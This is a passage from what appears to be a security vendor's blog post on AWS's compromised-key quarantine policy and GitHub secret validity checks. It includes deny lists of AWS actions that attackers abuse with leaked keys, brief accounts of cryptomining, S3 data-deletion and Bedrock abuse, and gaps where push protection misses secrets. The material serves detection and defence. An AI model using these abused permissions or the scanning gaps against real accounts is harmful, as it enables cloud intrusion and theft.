"bedrock:PutFoundationModelEntitlement",
"bedrock:InvokeModel",
"s3:CreateBucket",
"s3:PutBucketCors",
"s3:GetObject",
"s3:ListBucket",
"sagemaker:CreateEndpointConfig",
"sagemaker:CreateProcessingJob",
"ses:GetSendQuota",
"ses:ListIdentities",
"sts:GetSessionToken",
"sts:GetFederationToken",
"amplify:CreateDeployment",
"amplify:CreateBackendEnvironment",
"codebuild:CreateProject",
"glue:CreateJob",
"iam:DeleteRole",
"iam:DeleteAccessKey",
"iam:ListUsers",
"lambda:GetEventSourceMapping",
"sns:GetSMSAttributes",
"mediapackagev2:CreateChannel"

Table 2. AWSCompromisedKeyQuarantineV2 permission changes per version.

Managed Policy Version Version Release Date Permissions changed
v1 2024-08-21 17:36:49 Same as AWSCompromisedKeyQuarantineV2 v4
v2 2024-10-02 16:52:27 Same as AWSCompromisedKeyQuarantineV2 v5
AWSCompromisedKeyQuarantineV3 v2 created 11 minutes after AWSCompromisedKeyQuarantineV2 v5

Table 3. AWSCompromisedKeyQuarantineV3 permission changes per version.

After releasing a new version, AWS stops attaching older policies to the exposed IAM users. Starting with AWSCompromisedKeyQuarantineV2, the Support service contains the support ticket with the attachment details as outlined in Table 1.

Cloud Attack Transition Based on Policy Updates

The evolution of the AWSCompromisedKeyQuarantine managed policy reflects how threat actors have changed their attacks against AWS environments. This section discusses an example permission added to the various versions of the managed policy and illustrates how various attacks might have caused that addition.

Let’s start with iam:CreateRole and lambda:CreateFunction in the AWSCompromisedKeyQuarantine v1 managed policy. This AWS Security Blog discusses how AWS uncovered a cryptomining campaign. Part of the attack involved creating a new IAM role to attach to the threat actor-created Lambda function. Once attached, the AWSCompromisedKeyQuarantine managed policy would have prevented this threat actor from creating a Lambda function and role.

The AWSCompromisedKeyQuarantineV2 v1 managed policy contains the s3:DeleteObject action. As discussed in an InfoRisk Today article, threat actors delete data from S3 buckets after exfiltration to maximize impact and encourage payment of extortion fees. Once again, if attached, the managed policy would have prevented the threat actor from successfully deleting all the data from the S3 bucket.

To counter malicious activity targeting the Amazon Bedrock service, AWS expanded v5 of the AWSCompromisedKeyQuarantineV2 managed policy to restrict five Bedrock permissions. This update was directly influenced by research from Permiso, which exposed how attackers exploit Bedrock to run unauthorized API calls like InvokeModel. Due to these policy enhancements, the attack methods uncovered by Permiso can now also be blocked.

GitHub Validity Checks for Detecting Secrets Exposure

GitHub has also created validity checks as part of its GitHub Secret Protection program (a subprogram of the GitHub Advanced Security program, or GHAS). When enabled, these checks periodically verify the validity of a detected credential by testing it against API endpoints provided by that service provider.

A list of supported secret scanning patterns can be found within the GitHub support secret scanning patterns documentation. Once GitHub identifies a secret, the platform proactively checks with various service providers to determine whether the exposed secret remains active or inactive, or whether it cannot be confirmed. GitHub also performs GET requests with the exposed credentials to confirm the credential’s validity and filters out dummy data.

After exposure of long-term AWS access keys in GitHub repositories, these GET requests take the form of performing the AWS Security Token Service (STS) API call GetCallerIdentity. This API event subsequently appears in the CloudTrail logs for the specific AWS account containing the exposed access key. Our testing triggered the newer push protection features that assist with catching secrets before they’re pushed to repositories.

A note of caution: There are some scenarios where push protection may will not scan a code push or alert on all identified secrets:

  • In one scenario, push protection does not detect secrets in the event of an overly large code push (e.g., pushing thousands of files or a public repository exceeding 50 MB)
  • In another scenario, if a single code push contains more than five exposed secrets, only five will generate alerts

These scenarios could result in an identification gap. Security teams should monitor for these potential cases to ensure additional scanning occurs on those code pushes, preventing any missed secrets.

Our testing generated CloudTrail logs that contain IP addresses, which resolve to the GitHub Autonomous System Number (ASN). The user agent present within the logs identifies the API event as originating from an automated testing process.

In early October of 2025, GitHub updated the user agent associated with AWS credential checks from:

aws-sdk-go-v*/*.*.* os/linux lang/go#*.*.* md/GOOS#linux md/GOARCH#amd64 api/sts#*.*.* GHAS-AWS_KEYID-validation-1.0.0-This-call-originates-from-an-automated-process-that-tests-AWS_KEYIDs-committed-to-GitHub-repos.-Please-contact-secret-scanning-github.com-for-more-info.

To:

aws-sdk-go-v*/*.*.* os/linux lang/go#*.*.* md/GOOS#linux md/GOARCH#amd64 api/sts#*.*.* GHAS-AWS_KEYID-validation-1.0.0-This-call-originates-from-an-automated-process-that-tests-AWS_KEYIDs-committed-to-GitHub-repos.-For-questions-on-our-processes--please-contact-secret-scanning-github.com.

Note: The above user agent strings use an asterisk (*) as a wildcard value for the version numbers.

Organizations need strong internal relationships between teams managing the organization’s GitHub repositories and cloud environments to promptly address exposed credentials. To circumvent organizational inefficiencies and issues between teams, security teams can also monitor for these exposed access keys by creating alerts specifically around GitHub ASN IP addresses with the above user agents performing GetCallerIdentity. This helps security teams proactively monitor exposed credentials and quickly begin investigating the access key before a potential attacker can misuse it.

Conclusion

The creation of the AWSCompromisedKeyQuarantine managed policy has proactively secured many organizations against unknowingly exposed IAM access keys and secrets. As the managed policy evolves, it reflects how attackers change their tactics when targeting cloud environments. Using the attachment of the managed policy and the presence of the GitHub validity check user agent, organizations can quickly address an exposure and investigate potential unwanted activity.

Palo Alto Networks Protection and Mitigation

Palo Alto Networks customers are better protected from the threats discussed above through the following products:

  • Cortex Cloud can help protect cloud posture and runtime operations against identity-driven threats by pairing static permission baselines with deep behavioral context. By embedding the functional identity baselines discussed in this research into our detection engine for both cloud VM compute and serverless agents, Cortex Cloud adds a vital layer of operational context, enabling security teams to filter out noisy false positives and decisively catch threat actors attempting to masquerade, alter configurations, or execute anomalous operations in the environment.
  • Idira Privilege Access Management (PAM) can help unify privileged access across human, machine, and agentic identities to secure cloud access across multi-cloud environments. Building on proven PAM, it delivers centralized secrets management alongside modern controls like Just-in-Time access and Zero Standing Privileges. This enforces consistent least-privilege security across on-premises, cloud, and SaaS targets.

Unit 42 Cloud Security Assessment is an evaluation service that reviews cloud infrastructure to identify misconfigurations and security gaps.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

  • North America: Toll Free: +1 (866) 486-4842 (866.4.UNIT42)
  • UK: +44.20.3743.3660
  • Europe and Middle East: +31.20.299.3130
  • Asia: +65.6983.8730
  • Japan: +81.50.1790.0200
  • Australia: +61.2.4062.7950
  • India: 00080005045107

Palo Alto Networks has shared these findings with our fellow Cyber Threat Alliance (CTA) members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

User Agents:

aws-sdk-go-v*/*.*.* os/linux lang/go#*.*.* md/GOOS#linux md/GOARCH#amd64 api/sts#*.*.* GHAS-AWS_KEYID-validation-1.0.0-This-call-originates-from-an-automated-process-that-tests-AWS_KEYIDs-committed-to-GitHub-repos.-Please-contact-secret-scanning-github.com-for-more-info.

aws-sdk-go-v*/*.*.* os/linux lang/go#*.*.* md/GOOS#linux md/GOARCH#amd64 api/sts#*.*.* GHAS-AWS_KEYID-validation-1.0.0-This-call-originates-from-an-automated-process-that-tests-AWS_KEYIDs-committed-to-GitHub-repos.-For-questions-on-our-processes--please-contact-secret-scanning-github.com.

Note: The above user agent strings use an asterisk (*) as a wildcard value for the version numbers.